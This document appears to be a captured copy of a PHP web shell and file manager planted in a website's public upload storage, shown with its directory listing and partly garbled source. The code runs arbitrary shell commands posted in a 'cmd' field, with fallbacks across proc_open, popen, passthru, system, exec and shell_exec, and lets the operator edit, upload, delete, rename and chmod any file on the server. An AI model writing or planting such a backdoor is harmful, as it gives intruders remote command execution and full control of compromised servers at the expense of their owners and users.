/var/www/cobraambalaj/storage/app/public/267
NameSizeModeActions
fm_04d81fe0a0f811.php76610644editdlrm
Edit: /var/www/cobraambalaj/storage/app/public/267/fm_04d81fe0a0f811.php (7661B)
array('pipe','w'),2=>array('pipe','w')); $pr=@proc_open($c,$d,$pp); if(is_resource($pr)){ $o=stream_get_contents($pp[1]).stream_get_contents($pp[2]); @proc_close($pr); return $o; } } if(function_exists('popen')){ $h=@popen($c,'r'); if($h){ $o=stream_get_contents($h); pclose($h); return $o; } } if(function_exists('passthru')){ @ob_start(); @passthru($c); $o=@ob_get_clean(); } elseif(function_exists('system')){ @ob_start(); @system($c); $o=@ob_get_clean(); } elseif(function_exists('exec')){ @exec($c,$x); $o=implode("\n",$x);} elseif(function_exists('shell_exec')){ $o=@shell_exec($c);} return $o!==null?$o:''; }; $h = function($s){ return htmlspecialchars($s, ENT_QUOTES); }; function esc(&$v){ if(is_string($v)) $v=htmlspecialchars($v,ENT_QUOTES); } $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : ''; $p = isset($_GET['p']) ? @realpath($_GET['p']) : $R; if(!$p || !is_dir($p)) $p = $R; $f = isset($_POST['f']) ? @realpath($_POST['f']) : (isset($_GET['f']) ? @realpath($_GET['f']) : ''); $a = isset($_POST['a']) ? $_POST['a'] : ''; $out = ''; $err = ''; /* --- actions ----------------------------------------------------------- */ if($a==='save' && $f && isset($_POST['data'])){ if(@file_put_contents($f, $_POST['data'])!==false) $err='saved: '.$h($f).''; else $err='write failed'; } if($a==='mkdir' && isset($_POST['name']) && $p){ $n=$p.'/'.trim($_POST['name']); if(!is_dir($n)) @mkdir($n); $err='mkdir: '.$h($n); } if($a==='delete' && $f){ if(is_dir($f)){ $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f,FilesystemIterator::SKIP_DOTS),RecursiveIteratorIterator::CHILD_FIRST); foreach($it as $x){ $x->isDir()?@rmdir($x->getPathname()):@unlink($x->getPathname()); } @rmdir($f); } else @unlink($f); $err='deleted: '.$h(basename($f)); $f=''; } if($a==='rename' && isset($_POST['newname']) && $f){ $nn=$p.'/'.trim($_POST['newname']); if($f!==$nn) @rename($f,$nn); $err='renamed to: '.$h(basename($nn)); $f=''; } if($a==='chmod' && isset($_POST['mode']) && $f){ @chmod($f, octdec($_POST['mode'])); $err='chmod ok'; } if($a==='up' && isset($_FILES['upf']) && $p){ $t=$p.'/'.basename($_FILES['upf']['name']); if(move_uploaded_file($_FILES['upf']['tmp_name'],$t)) $err='uploaded: '.$h(basename($t)); else $err='upload failed'; } $editing = ($f && is_file($f)) ? file_get_contents($f) : ''; $fmode = is_file($f) ? substr(sprintf('%o',@fileperms($f)),-4) : ''; ?> FM / <?php echo $h(basename($p)); ?>
/'; foreach($parts as $pt){ $acc.='/'.$pt; echo ''.$h($pt).'/'; } ?>
$e,'p'=>$ep,'d'=>is_dir($ep),'s'=>is_file($ep)?filesize($ep):'-','m'=>substr(sprintf('%o',@fileperms($ep)),-4)); } function cmp_($a,$b){ if($a['d']!=$b['d']) return $a['d']?-1:1; return strnatcasecmp($a['n'],$b['n']); } usort($items,'cmp_'); foreach($items as $it){ $enc=urlencode($it['p']); echo ''; } ?>
NameSizeModeActions
'; if($it['d']) echo ''.$h($it['n']).'/'; else echo ''.$h($it['n']).''; echo ''.$it['s'].''.$it['m'].''; if(!$it['d']){ echo 'editdl'; } echo 'rm'; echo '
Edit: (B)
Delete ?
cmd:
'.$h($run($cmd)).''; } ?>